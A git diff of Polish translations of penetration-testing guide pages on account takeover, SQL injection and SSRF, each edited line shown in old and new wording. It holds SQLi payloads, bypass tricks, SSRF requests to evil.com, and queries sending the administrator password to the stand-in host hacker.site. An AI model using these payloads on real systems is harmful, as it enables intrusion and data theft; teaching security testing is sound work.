3. Następnie użyj tokena w URL, jak `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
3. Następnie użyj tokenu w URL, jak `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
### Resetowanie hasła przez kolizję nazw użytkowników <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
1. Zarejestruj się w systemie z nazwą użytkownika identyczną do nazwy użytkownika ofiary, ale z wstawionymi białymi znakami przed i/lub po nazwie użytkownika. np: `"admin "`
2. Poproś o resetowanie hasła za pomocą swojej złośliwej nazwy użytkownika.
3. Użyj tokena wysłanego na swój adres e-mail i zresetuj hasło ofiary.
1. Zarejestruj się w systemie z nazwą użytkownika identyczną do nazwy użytkownika ofiary, ale z wstawionymi białymi znakami przed i/lub po nazwie użytkownika. np.: `"admin "`
2. Poproś o resetowanie hasła za pomocą swojego złośliwego nazwy użytkownika.
3. Użyj tokenu wysłanego na swój email i zresetuj hasło ofiary.
4. Zaloguj się na konto ofiary za pomocą nowego hasła.
Platforma CTFd była podatna na ten atak.\
@ -129,7 +129,7 @@ Zobacz: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
### Przejęcie konta przez Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
1. Znajdź XSS w aplikacji lub subdomenie, jeśli ciasteczka są ograniczone do domeny macierzystej: `*.domain.com`
1. Znajdź XSS w aplikacji lub subdomenie, jeśli ciasteczka są ograniczone do domeny nadrzędnej: `*.domain.com`
2. Wycieknij aktualne **ciasteczko sesji**
3. Uwierzytelnij się jako użytkownik, używając ciasteczka
@ -138,7 +138,7 @@ Zobacz: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
1\. Użyj **smuggler** do wykrycia typu HTTP Request Smuggling (CL, TE, CL.TE)\
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
2\. Stwórz żądanie, które nadpisze `POST / HTTP/1.1` następującymi danymi:\
`GET http://something.burpcollaborator.net HTTP/1.1 X:` z celem otwartego przekierowania ofiar do burpcollab i kradzieży ich ciasteczek\
`GET http://something.burpcollaborator.net HTTP/1.1 X:` z celem otwarcia przekierowania ofiar do burpcollab i kradzieży ich ciasteczek\
3\. Ostateczne żądanie może wyglądać następująco
```
GET / HTTP/1.1

View File

@ -8,7 +8,7 @@
## Wykrywanie punktów wejścia
Gdy strona wydaje się być **podatna na SQL injection (SQLi)** z powodu nietypowych odpowiedzi serwera na dane wejściowe związane z SQLi, **pierwszym krokiem** jest zrozumienie, jak **wstrzykć dane do zapytania bez zakłócania go**. Wymaga to zidentyfikowania metody, aby **skutecznie wydostać się z bieżącego kontekstu**. Oto kilka przydatnych przykładów:
Gdy strona wydaje się być **podatna na SQL injection (SQLi)** z powodu nietypowych odpowiedzi serwera na dane wejściowe związane z SQLi, **pierwszym krokiem** jest zrozumienie, jak **wstrzykiwać dane do zapytania bez zakłócania go**. Wymaga to zidentyfikowania metody, aby **skutecznie wydostać się z bieżącego kontekstu**. Oto kilka przydatnych przykładów:
```
[Nothing]
'
@ -23,7 +23,7 @@ Gdy strona wydaje się być **podatna na SQL injection (SQLi)** z powodu nietypo
```
Następnie musisz wiedzieć, jak **naprawić zapytanie, aby nie było błędów**. Aby naprawić zapytanie, możesz **wprowadzić** dane, aby **poprzednie zapytanie zaakceptowało nowe dane**, lub możesz po prostu **wprowadzić** swoje dane i **dodać symbol komentarza na końcu**.
_Zauważ, że jeśli możesz zobaczyć komunikaty o błędach lub dostrzec różnice, gdy zapytanie działa, a gdy nie, ten etap będzie łatwiejszy._
_Note that if you can see error messages or you can spot differences when a query is working and when it's not this phase will be more easy._
### **Komentarze**
```sql
@ -53,9 +53,9 @@ HQL does not support comments
```
### Potwierdzanie za pomocą operacji logicznych
Wiarygodna metoda potwierdzania podatności na SQL injection polega na wykonaniu **operacji logicznej** i obserwowaniu oczekiwanych wyników. Na przykład, parametr GET taki jak `?username=Peter`, który zwraca identyczną treść po modyfikacji na `?username=Peter' or '1'='1`, wskazuje na podatność na SQL injection.
Wiarygodną metodą potwierdzenia podatności na SQL injection jest wykonanie **operacji logicznej** i obserwowanie oczekiwanych wyników. Na przykład, parametr GET taki jak `?username=Peter`, który zwraca identyczną treść po modyfikacji na `?username=Peter' or '1'='1`, wskazuje na podatność na SQL injection.
Podobnie, zastosowanie **operacji matematycznych** służy jako skuteczna technika potwierdzania. Na przykład, jeśli dostęp do `?id=1` i `?id=2-1` daje ten sam wynik, to wskazuje na SQL injection.
Podobnie, zastosowanie **operacji matematycznych** służy jako skuteczna technika potwierdzająca. Na przykład, jeśli dostęp do `?id=1` i `?id=2-1` daje ten sam wynik, to wskazuje na SQL injection.
Przykłady ilustrujące potwierdzenie operacji logicznej:
```
@ -68,9 +68,9 @@ Ta lista słów została stworzona, aby spróbować **potwierdzić SQLinjections
{% file src="../../images/sqli-logic.txt" %}
### Potwierdzanie z użyciem czasu
### Potwierdzanie za pomocą czasu
W niektórych przypadkach **nie zauważysz żadnej zmiany** na stronie, którą testujesz. Dlatego dobrym sposobem na **odkrycie ślepych SQL injections** jest zmuszenie bazy danych do wykonania działań, co będzie miało **wpływ na czas** ładowania strony.\
W niektórych przypadkach **nie zauważysz żadnej zmiany** na stronie, którą testujesz. Dlatego dobrym sposobem na **odkrycie ślepych SQL injections** jest zmuszenie bazy danych do wykonania działań, które będą miały **wpływ na czas** ładowania strony.\
Dlatego w zapytaniu SQL dodamy operację, która zajmie dużo czasu na zakończenie:
```
MySQL (string concat and logical ops)
@ -93,7 +93,7 @@ SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
```
W niektórych przypadkach **funkcje sleep nie będą dozwolone**. Wtedy, zamiast używać tych funkcji, możesz sprawić, że zapytanie **wykona złożone operacje**, które zajmą kilka sekund. _Przykłady tych technik będą komentowane osobno dla każdej technologii (jeśli występują)_.
W niektórych przypadkach **funkcje sleep nie będą dozwolone**. Wtedy, zamiast używać tych funkcji, możesz sprawić, że zapytanie **wykona złożone operacje**, które zajmą kilka sekund. _Przykłady tych technik będą komentowane osobno dla każdej technologii (jeśli takie będą)_.
### Identyfikacja Back-endu
@ -140,13 +140,13 @@ https://portswigger.net/web-security/sql-injection/cheat-sheet
### Wykrywanie liczby kolumn
Jeśli możesz zobaczyć wynik zapytania, to najlepszy sposób na jego wykorzystanie.\
Jeśli możesz zobaczyć wynik zapytania, to jest to najlepszy sposób na jego wykorzystanie.\
Przede wszystkim musimy ustalić **liczbę** **kolumn**, które **początkowe zapytanie** zwraca. Dzieje się tak, ponieważ **oba zapytania muszą zwracać tę samą liczbę kolumn**.\
Do tego celu zazwyczaj stosuje się dwie metody:
#### Order/Group by
Aby określić liczbę kolumn w zapytaniu, stopniowo dostosowuj liczbę używaną w klauzulach **ORDER BY** lub **GROUP BY**, aż otrzymasz fałszywą odpowiedź. Mimo że **GROUP BY** i **ORDER BY** mają różne funkcje w SQL, obie mogą być wykorzystywane w ten sam sposób do ustalenia liczby kolumn w zapytaniu.
Aby określić liczbę kolumn w zapytaniu, stopniowo dostosowuj liczbę używaną w klauzulach **ORDER BY** lub **GROUP BY**, aż otrzymasz fałszywą odpowiedź. Mimo że **GROUP BY** i **ORDER BY** mają różne funkcjonalności w SQL, obie mogą być wykorzystywane w ten sam sposób do ustalenia liczby kolumn zapytania.
```sql
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
@ -185,13 +185,13 @@ W następnych przykładach zamierzamy pobrać nazwę wszystkich baz danych, nazw
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
```
_Inny sposób odkrywania tych danych istnieje w każdej różnej bazie danych, ale metodologia zawsze jest ta sama._
_Inny sposób odkrywania tych danych istnieje w każdej innej bazie danych, ale metodologia zawsze jest ta sama._
## Wykorzystywanie ukrytej injekcji opartej na unii
Gdy wynik zapytania jest widoczny, ale injekcja oparta na unii wydaje się nieosiągalna, oznacza to obecność **ukrytej injekcji opartej na unii**. Taki scenariusz często prowadzi do sytuacji z niewidoczną injekcją. Aby przekształcić niewidoczną injekcję w injekcję opartą na unii, należy rozpoznać zapytanie wykonawcze na zapleczu.
Gdy wynik zapytania jest widoczny, ale injekcja oparta na unii wydaje się nieosiągalna, oznacza to obecność **ukrytej injekcji opartej na unii**. Taki scenariusz często prowadzi do sytuacji z niewidoczną injekcją. Aby przekształcić niewidoczną injekcję w opartą na unii, należy rozpoznać zapytanie wykonawcze w zapleczu.
Można to osiągnąć poprzez zastosowanie technik niewidocznej injekcji wraz z domyślnymi tabelami specyficznymi dla twojego systemu zarządzania bazą danych (DBMS). Aby zrozumieć te domyślne tabele, zaleca się zapoznanie się z dokumentacją docelowego DBMS.
Można to osiągnąć za pomocą technik niewidocznej injekcji wraz z domyślnymi tabelami specyficznymi dla twojego systemu zarządzania bazą danych (DBMS). Aby zrozumieć te domyślne tabele, zaleca się zapoznanie się z dokumentacją docelowego DBMS.
Gdy zapytanie zostanie wyodrębnione, konieczne jest dostosowanie ładunku, aby bezpiecznie zamknąć oryginalne zapytanie. Następnie do twojego ładunku dodawane jest zapytanie unii, co ułatwia wykorzystanie nowo dostępnej injekcji opartej na unii.
@ -219,7 +219,7 @@ AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
```
## Wykorzystywanie SQLi opartego na czasie
W tym przypadku **nie ma** sposobu na **rozróżnienie** **odpowiedzi** zapytania na podstawie kontekstu strony. Jednak możesz sprawić, że strona **będzie się ładować dłużej**, jeśli zgadnięty znak jest poprawny. Już wcześniej widzieliśmy tę technikę w użyciu, aby [potwierdzić lukę SQLi](./#confirming-with-timing).
W tym przypadku **nie ma** sposobu na **rozróżnienie** **odpowiedzi** zapytania na podstawie kontekstu strony. Jednak możesz sprawić, że strona **będzie się ładować dłużej**, jeśli zgadnięty znak jest poprawny. Już wcześniej widzieliśmy tę technikę w użyciu, aby [potwierdzić lukę SQLi](#confirming-with-timing).
```sql
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
```
@ -231,7 +231,7 @@ Możesz użyć stacked queries, aby **wykonać wiele zapytań z rzędu**. Zauwa
## Out of band Exploitation
Jeśli **żaden inny** sposób eksploatacji **nie zadziałał**, możesz spróbować sprawić, aby **baza danych** wyekstrahowała informacje do **zewnętrznego hosta** kontrolowanego przez ciebie. Na przykład, za pomocą zapytań DNS:
Jeśli **żaden inny** sposób eksploatacji **nie zadziałał**, możesz spróbować sprawić, aby **baza danych wyekstrahowała** informacje do **zewnętrznego hosta** kontrolowanego przez ciebie. Na przykład, za pomocą zapytań DNS:
```sql
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
```
@ -239,11 +239,11 @@ select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
```sql
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
```
## Zautomatyzowane wykorzystanie
## Zautomatyzowane Wykorzystanie
Sprawdź [SQLMap Cheatsheet](sqlmap/), aby wykorzystać lukę SQLi za pomocą [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
## Informacje specyficzne dla technologii
## Informacje techniczne
Omówiliśmy już wszystkie sposoby wykorzystania luki SQL Injection. Znajdź więcej sztuczek zależnych od technologii bazy danych w tej książce:
@ -267,7 +267,7 @@ Lista do próby ominięcia funkcji logowania:
```sql
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
```
To zapytanie pokazuje lukę, gdy MD5 jest używane z wartością true dla surowego wyjścia w kontrolach uwierzytelniania, co sprawia, że system jest podatny na SQL injection. Atakujący mogą to wykorzystać, tworząc dane wejściowe, które po zhashowaniu generują nieoczekiwane części poleceń SQL, prowadząc do nieautoryzowanego dostępu.
To zapytanie pokazuje lukę, gdy MD5 jest używane z wartością true dla surowego wyjścia w kontrolach uwierzytelniania, co sprawia, że system jest podatny na SQL injection. Atakujący mogą to wykorzystać, tworząc dane wejściowe, które, po zhashowaniu, generują nieoczekiwane części poleceń SQL, co prowadzi do nieautoryzowanego dostępu.
```sql
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
@ -283,7 +283,7 @@ Powinieneś używać jako nazwy użytkownika każdej linii z listy, a jako hasł
{% file src="../../images/sqli-hashbypass.txt" %}
### GBK Ominięcie uwierzytelniania
### GBK Authentication Bypass
JEŚLI ' jest escape'owane, możesz użyć %A8%27, a gdy ' zostanie escape'owane, zostanie utworzone: 0xA80x5c0x27 (_╘'_)
```sql
@ -300,21 +300,21 @@ datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text
```
### Wstrzykiwanie poliglotowe (multikontekst)
### Polyglot injection (multicontext)
```sql
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
```
## Insert Statement
### Zmiana hasła istniejącego obiektu/użytkownika
### Modify password of existing object/user
Aby to zrobić, powinieneś spróbować **utworzyć nowy obiekt nazwany "obiektem głównym"** (prawdopodobnie **admin** w przypadku użytkowników) modyfikując coś:
- Utwórz użytkownika o nazwie: **AdMIn** (wielkie i małe litery)
- Utwórz użytkownika o nazwie: **admin=**
- **Atak Truncation SQL** (gdy istnieje jakiś **limit długości** w nazwie użytkownika lub e-mailu) --> Utwórz użytkownika o nazwie: **admin \[dużo spacji] a**
- **SQL Truncation Attack** (gdy istnieje jakiś **limit długości** w nazwie użytkownika lub e-mailu) --> Utwórz użytkownika o nazwie: **admin \[dużo spacji] a**
#### Atak Truncation SQL
#### SQL Truncation Attack
Jeśli baza danych jest podatna, a maksymalna liczba znaków dla nazwy użytkownika wynosi na przykład 30 i chcesz podszyć się pod użytkownika **admin**, spróbuj utworzyć nazwę użytkownika: "_admin \[30 spacji] a_" i dowolne hasło.
@ -322,9 +322,9 @@ Baza danych **sprawdzi**, czy wprowadzona **nazwa użytkownika** **istnieje** w
Więcej informacji: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
_Uwaga: Ten atak nie będzie już działał tak, jak opisano powyżej w najnowszych instalacjach MySQL. Chociaż porównania nadal ignorują białe znaki na końcu domyślnie, próba wstawienia ciągu, który jest dłuższy niż długość pola, spowoduje błąd, a wstawienie nie powiedzie się. Więcej informacji na ten temat:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
_Note: Ten atak nie będzie już działał tak, jak opisano powyżej w najnowszych instalacjach MySQL. Chociaż porównania nadal ignorują białe znaki na końcu domyślnie, próba wstawienia ciągu, który jest dłuższy niż długość pola, spowoduje błąd, a wstawienie nie powiedzie się. Więcej informacji na ten temat:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
### MySQL Insert czasowe sprawdzanie
### MySQL Insert time based checking
Dodaj tyle `','',''`, ile uważasz, aby zakończyć instrukcję VALUES. Jeśli opóźnienie zostanie wykonane, masz SQLInjection.
```sql
@ -359,7 +359,7 @@ A new user with username=otherUsername, password=otherPassword, email:FLAG will
```
#### Używanie dziesiętnego lub szesnastkowego
Za pomocą tej techniki możesz wyodrębnić informacje, tworząc tylko 1 konto. Ważne jest, aby zauważyć, że nie musisz nic komentować.
Dzięki tej technice możesz wyodrębnić informacje, tworząc tylko 1 konto. Ważne jest, aby zauważyć, że nie musisz nic komentować.
Używając **hex2dec** i **substr**:
```sql
@ -393,7 +393,7 @@ Example:
### No spaces bypass
No Space (%20) - bypass przy użyciu alternatyw białych znaków
No Space (%20) - bypass przy użyciu alternatyw dla białych znaków
```sql
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
@ -410,17 +410,17 @@ Brak białych znaków - obejście za pomocą nawiasów
```sql
?id=(1)and(1)=(1)--
```
### Bypass bez przecinków
### No commas bypass
No Comma - bypass przy użyciu OFFSET, FROM i JOIN
No Comma - bypass używając OFFSET, FROM i JOIN
```
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
```
### Ogólne Ominięcia
### Generic Bypasses
Czarna lista używając słów kluczowych - ominięcie używając wielkich/małych liter
Czarna lista używając słów kluczowych - obejście używając wielkich/małych liter
```sql
?id=1 AND 1=1#
?id=1 AnD 1=1#
@ -434,7 +434,7 @@ OR -> || -> %7C%7C
> X -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
```
### Obejście WAF za pomocą notacji naukowej
### Bypass WAF za pomocą notacji naukowej
Możesz znaleźć bardziej szczegółowe wyjaśnienie tego triku na blogu [gosecure](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
W zasadzie możesz użyć notacji naukowej w nieoczekiwany sposób, aby obejść WAF:

View File

@ -4,7 +4,7 @@
## Podstawowe informacje
Wrażliwość **Server-side Request Forgery (SSRF)** występuje, gdy atakujący manipuluje **aplikacją po stronie serwera**, aby wysyłała **żądania HTTP** do wybranej przez niego domeny. Ta wrażliwość naraża serwer na dowolne zewnętrzne żądania kierowane przez atakującego.
Wrażliwość **Server-side Request Forgery (SSRF)** występuje, gdy atakujący manipuluje **aplikacją po stronie serwera**, aby wysyłała **żądania HTTP** do wybranego przez niego domeny. Ta wrażliwość naraża serwer na dowolne zewnętrzne żądania kierowane przez atakującego.
## Przechwytywanie SSRF
@ -22,7 +22,7 @@ Pierwszą rzeczą, którą musisz zrobić, jest przechwycenie interakcji SSRF wy
## Ominięcie dozwolonych domen
Zazwyczaj zauważysz, że SSRF działa tylko w **niektórych dozwolonych domenach** lub URL. Na poniższej stronie znajdziesz **kompilację technik, które można spróbować, aby obejść tę listę dozwolonych**:
Zazwyczaj stwierdzisz, że SSRF działa tylko w **niektórych dozwolonych domenach** lub URL. Na poniższej stronie znajdziesz **kompilację technik, aby spróbować obejść tę listę dozwolonych**:
{{#ref}}
url-format-bypass.md
@ -30,21 +30,21 @@ url-format-bypass.md
### Ominięcie przez otwarty przekierowanie
Jeśli serwer jest poprawnie zabezpieczony, możesz **obejść wszystkie ograniczenia, wykorzystując Otwarty Przekierowanie wewnątrz strony internetowej**. Ponieważ strona internetowa pozwoli na **SSRF do tej samej domeny** i prawdopodobnie **będzie śledzić przekierowania**, możesz wykorzystać **Otwarty Przekierowanie, aby zmusić serwer do uzyskania dostępu do wewnętrznych zasobów**.\
Jeśli serwer jest poprawnie zabezpieczony, możesz **obejść wszystkie ograniczenia, wykorzystując Otwarty Przekierowanie wewnątrz strony internetowej**. Ponieważ strona internetowa pozwoli na **SSRF do tej samej domeny** i prawdopodobnie **będzie śledzić przekierowania**, możesz wykorzystać **Otwarty Przekierowanie, aby serwer uzyskał dostęp do wewnętrznych zasobów**.\
Przeczytaj więcej tutaj: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)
## Protokoły
- **file://**
- Schemat URL `file://` odnosi się bezpośrednio do `/etc/passwd`: `file:///etc/passwd`
- Schemat URL `file://` jest odniesiony, wskazując bezpośrednio na `/etc/passwd`: `file:///etc/passwd`
- **dict://**
- Schemat URL DICT jest opisany jako wykorzystywany do uzyskiwania dostępu do definicji lub list słów za pośrednictwem protokołu DICT. Podany przykład ilustruje skonstruowany URL celujący w konkretne słowo, bazę danych i numer wpisu, a także przypadek skryptu PHP, który może być potencjalnie nadużyty do połączenia z serwerem DICT przy użyciu danych uwierzytelniających dostarczonych przez atakującego: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
- Schemat URL DICT jest opisany jako wykorzystywany do uzyskiwania definicji lub list słów za pomocą protokołu DICT. Podany przykład ilustruje skonstruowany URL celujący w konkretne słowo, bazę danych i numer wpisu, a także przypadek skryptu PHP, który może być potencjalnie nadużyty do połączenia z serwerem DICT przy użyciu danych uwierzytelniających dostarczonych przez atakującego: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
- **SFTP://**
- Zidentyfikowany jako protokół do bezpiecznego transferu plików przez bezpieczny shell, podano przykład ilustrujący, jak skrypt PHP może być wykorzystany do połączenia z złośliwym serwerem SFTP: `url=sftp://generic.com:11111/`
- Zidentyfikowany jako protokół do bezpiecznego transferu plików przez bezpieczny shell, podano przykład ilustrujący, jak skrypt PHP mógłby być wykorzystany do połączenia z złośliwym serwerem SFTP: `url=sftp://generic.com:11111/`
- **TFTP://**
- Protokół Trivial File Transfer, działający na UDP, jest wspomniany z przykładem skryptu PHP zaprojektowanego do wysyłania żądania do serwera TFTP. Żądanie TFTP jest wysyłane do 'generic.com' na porcie '12346' dla pliku 'TESTUDPPACKET': `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
- Protokół Trivial File Transfer, działający przez UDP, jest wspomniany z przykładem skryptu PHP zaprojektowanego do wysyłania żądania do serwera TFTP. Żądanie TFTP jest wysyłane do 'generic.com' na porcie '12346' dla pliku 'TESTUDPPACKET': `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
- **LDAP://**
- Ten segment dotyczy Lightweight Directory Access Protocol, podkreślając jego zastosowanie do zarządzania i uzyskiwania dostępu do rozproszonych usług informacji katalogowych w sieciach IP. Interakcja z serwerem LDAP na localhost: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
- Ten segment dotyczy Protokół LDAP (Lightweight Directory Access Protocol), podkreślając jego zastosowanie do zarządzania i uzyskiwania dostępu do rozproszonych usług informacji katalogowych w sieciach IP. Interakcja z serwerem LDAP na localhost: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
- **SMTP**
- Opisano metodę wykorzystywania wrażliwości SSRF do interakcji z usługami SMTP na localhost, w tym kroki do ujawnienia wewnętrznych nazw domen oraz dalsze działania dochodzeniowe na podstawie tych informacji.
```
@ -106,7 +106,7 @@ curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
```
## SSRF poprzez nagłówek Referrer i inne
Oprogramowanie analityczne na serwerach często rejestruje nagłówek Referrer, aby śledzić przychodzące linki, co nieumyślnie naraża aplikacje na podatności typu Server-Side Request Forgery (SSRF). Dzieje się tak, ponieważ takie oprogramowanie może odwiedzać zewnętrzne URL-e wymienione w nagłówku Referrer, aby analizować treść stron referencyjnych. Aby odkryć te podatności, zaleca się użycie wtyczki Burp Suite "**Collaborator Everywhere**", wykorzystującej sposób, w jaki narzędzia analityczne przetwarzają nagłówek Referer, aby zidentyfikować potencjalne powierzchnie ataku SSRF.
Oprogramowanie analityczne na serwerach często rejestruje nagłówek Referrer, aby śledzić przychodzące linki, co nieumyślnie naraża aplikacje na podatności typu Server-Side Request Forgery (SSRF). Dzieje się tak, ponieważ takie oprogramowanie może odwiedzać zewnętrzne adresy URL wymienione w nagłówku Referrer, aby analizować treść strony odsyłającej. Aby odkryć te podatności, zaleca się użycie wtyczki Burp Suite "**Collaborator Everywhere**", wykorzystującej sposób, w jaki narzędzia analityczne przetwarzają nagłówek Referer, aby zidentyfikować potencjalne powierzchnie ataku SSRF.
## SSRF poprzez dane SNI z certyfikatu
@ -125,7 +125,7 @@ W tej konfiguracji wartość z pola Server Name Indication (SNI) jest bezpośred
```bash
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
```
## [Wget file upload](../file-upload/#wget-file-upload-ssrf-trick)
## [Wget file upload](../file-upload/index.html#wget-file-upload-ssrf-trick)
## SSRF z wstrzyknięciem poleceń
@ -133,7 +133,7 @@ Może warto spróbować ładunku takiego jak: `` url=http://3iufty2q67fuy2dew3yu
## Renderowanie PDF
Jeśli strona internetowa automatycznie tworzy PDF z informacjami, które podałeś, możesz **wstawić trochę JS, które zostanie wykonane przez samego twórcę PDF** (serwer) podczas tworzenia PDF i będziesz mógł wykorzystać SSRF. [**Znajdź więcej informacji tutaj**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
Jeśli strona internetowa automatycznie tworzy PDF z informacjami, które podałeś, możesz **wstawić trochę JS, które zostanie wykonane przez twórcę PDF** (serwer) podczas tworzenia PDF i będziesz mógł wykorzystać SSRF. [**Znajdź więcej informacji tutaj**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
## Od SSRF do DoS
@ -149,7 +149,7 @@ Sprawdź następującą stronę w poszukiwaniu podatnych funkcji PHP, a nawet Wo
## SSRF Przekierowanie do Gopher
Do niektórych exploitów możesz potrzebować **wysłać odpowiedź z przekierowaniem** (potencjalnie, aby użyć innego protokołu, takiego jak gopher). Tutaj masz różne kody w Pythonie, aby odpowiedzieć z przekierowaniem:
Do niektórych exploitów może być konieczne **wysłanie odpowiedzi z przekierowaniem** (potencjalnie w celu użycia innego protokołu, takiego jak gopher). Tutaj masz różne kody Pythona, aby odpowiedzieć z przekierowaniem:
```python
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
@ -206,7 +206,7 @@ app.run(threaded=False)
```
</details>
Flask pozwala używać **`@`** jako znaku początkowego, co umożliwia uczynienie **początkowej nazwy hosta nazwą użytkownika** i wstrzyknięcie nowej. Żądanie ataku:
Flask pozwala używać **`@`** jako znaku początkowego, co pozwala na ustawienie **początkowej nazwy hosta jako nazwy użytkownika** i wstrzyknięcie nowej. Żądanie ataku:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
@ -214,7 +214,11 @@ Connection: close
```
### Spring Boot <a href="#heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation" id="heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation"></a>
Wykryto, że możliwe jest **rozpoczęcie ścieżki** żądania od znaku **`;`**, co pozwala następnie użyć **`@`** i wstrzyknąć nowy host do dostępu. Żądanie ataku:
Wrażliwy kod:
<figure><img src="../../images/image (1201).png" alt=""><figcaption></figcaption></figure>
Odkryto, że możliwe jest **rozpoczęcie ścieżki** żądania od znaku **`;`**, co pozwala następnie użyć **`@`** i wstrzyknąć nowy host do uzyskania dostępu. Żądanie ataku:
```http
GET ;@evil.com/url HTTP/1.1
Host: target.com
@ -241,7 +245,7 @@ var_dump($response);
```
</details>
PHP pozwala na użycie **znaku `*` przed ukośnikiem w ścieżce** URL, jednak ma inne ograniczenia, takie jak to, że może być używany tylko dla ścieżki głównej `/` oraz że kropki `.` nie są dozwolone przed pierwszym ukośnikiem, więc konieczne jest użycie adresu IP zakodowanego w heksadecymalnym formacie bez kropek, na przykład:
PHP pozwala na użycie **znaku `*` przed ukośnikiem w ścieżce** URL, jednak ma inne ograniczenia, takie jak to, że może być używany tylko dla ścieżki głównej `/` oraz że kropki `.` nie są dozwolone przed pierwszym ukośnikiem, więc konieczne jest użycie adresu IP zakodowanego w formacie hex bez kropek, na przykład:
```http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
@ -257,7 +261,7 @@ Jeśli masz **problemy** z **ekstrahowaniem treści z lokalnego IP** z powodu **
### Zautomatyzowane DNS Rebidding
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) to narzędzie do przeprowadzania ataków [DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding). Zawiera niezbędne komponenty do ponownego powiązania adresu IP nazwy DNS serwera atakującego z adresem IP maszyny docelowej oraz do dostarczania ładunków atakujących w celu wykorzystania podatnego oprogramowania na maszynie docelowej.
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) to narzędzie do przeprowadzania ataków [DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding). Zawiera niezbędne komponenty do ponownego powiązania adresu IP serwera atakującego z adresem IP docelowej maszyny oraz do dostarczania ładunków atakujących w celu wykorzystania podatnego oprogramowania na docelowej maszynie.
Sprawdź również **publicznie działający serwer w** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)
@ -275,10 +279,10 @@ Atak:
2. **TTL** **DNS** wynosi **0** sek (więc ofiara wkrótce sprawdzi IP domeny ponownie)
3. Tworzona jest **połączenie TLS** między ofiarą a domeną atakującego. Atakujący wprowadza **ładunek wewnątrz** **Session ID lub Session Ticket**.
4. **Domena** rozpocznie **nieskończoną pętlę** przekierowań przeciwko **sobie**. Celem tego jest zmuszenie użytkownika/bota do dostępu do domeny, aż ponownie wykona **żądanie DNS** tej domeny.
5. W żądaniu DNS podawany jest **adres IP** **prywatny** **teraz** (na przykład 127.0.0.1)
